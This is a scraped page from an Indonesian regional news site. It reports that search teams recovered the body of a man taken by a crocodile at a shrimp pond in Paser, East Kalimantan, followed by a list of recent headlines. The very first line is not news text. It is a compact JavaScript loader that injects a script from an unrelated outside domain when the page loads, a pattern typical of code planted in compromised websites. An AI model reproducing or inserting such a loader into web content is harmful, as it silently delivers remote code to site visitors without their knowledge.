(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

6 Hari Hilang, Korban Diterkam Buaya di Paser Ditemukan Tewas


KANALKALIMANTAN.COM – Setelah pencarian selama enam hari, warga Kecamatan Kuaro, Kabupaten Paser, Kalimantan Timur (Kaltim), yang diterkam buaya, ditemukan.

MK (45), korban diterkam buaya, ditemukan tim SAR gabungan di seputaran tambak udang Sungai Teddung, Sabtu (10/4/2021) sekitar pukul 17.00 Wita.

Jarak penemuan jenazah korban diterkam buaya dengan lokasi kejadian sekitar 150 meter di Paser, Kaltim. MK ditemukan sudah dalam keadaan meninggal dunia.

“Benar, korban sudah ditemukan. Kemudian kami evakuasi bersama dengan pihak kepolisian, TNI, relawan, dan warga sekitar ke rumah keluarganya,” ujar salah satu Tim Rescue Badan Penanggulangan Bencana dan Kebakaran Daerah (BPBD) Kabupaten Paser, Marwansyah alias Kiwong kepada SuaraKaltim.id, Minggu (11/4/2021) siang.

Untuk kronologis kejadian sendiri, Kiwong mengatakan, awalnya korban pergi ke sekitar tambak untuk mencari ikan dan kepiting. Saat itulah korban diduga diterkam buaya hingga hilang ke dalam tambak.

“Kami mendapat laporan dari keluarga korban setelah satu hari. Dugaannya kuat diterkam buaya setelah kami ke lokasi. Ada terlihat bekas kaki buaya. Barang-barang korban juga masih ada di lokasi seperti songkok, rokok, dan lainnya,” ungkapnya.

Tak sampai di situ saja, dugaan kuat bahwa korban diterkam buaya, terbukti setelah tim melakukan pencarian hingga malam hari. Di mana di lokasi tampak sekira 30 ekor buaya di tambak luasnya sekira 17 hektare itu.

“Saat melakukan pencarian, kami juga sempat menangkap seekor buaya setelah mendatangkan pawang. Tapi lain dan dilepas lagi. Kemudian ditangkap lagi yang lebih besar, tapi lain juga,” katanya.

Kiwong mengungkap, sebenarnya korban bisa cepat ditemukan kalau tambak cepat dikeringkan karena lokasinya dekat sungai. Tapi karena tambak dikeringkan setelah beberapa hari, baru korban ditemukan.

“Setelah dikeringkan, tanggul mulai kelihatan. Baru tim dan warga langsung melakukan penyisiran dan akhirnya korban ditemukan. Kemudian dievakuasi dan dibawa ke rumah duka. Saya sarankan supaya langsung dikebumikan karena tidak memungkinkan dilihat langsung sama keluarga,” pungkasnya. (suara.com)

Editor : kk

 

 

 


Al Ghifari

Recent Posts

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

9 menit ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

34 menit ago

Pabrik Sepatu Bata Tutup, Simpan Kenangan Haru Soekarno dan Megawati Soekarnoputri

KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More

39 menit ago

Pembangunan Trotoar Jalan Kemuning Dimulai, Beberapa Pagar Warga Kena Penggalian

KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar di kawasan Jalan Kemuning Banjarbaru, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,… Read More

60 menit ago

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

3 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

4 jam ago

This website uses cookies.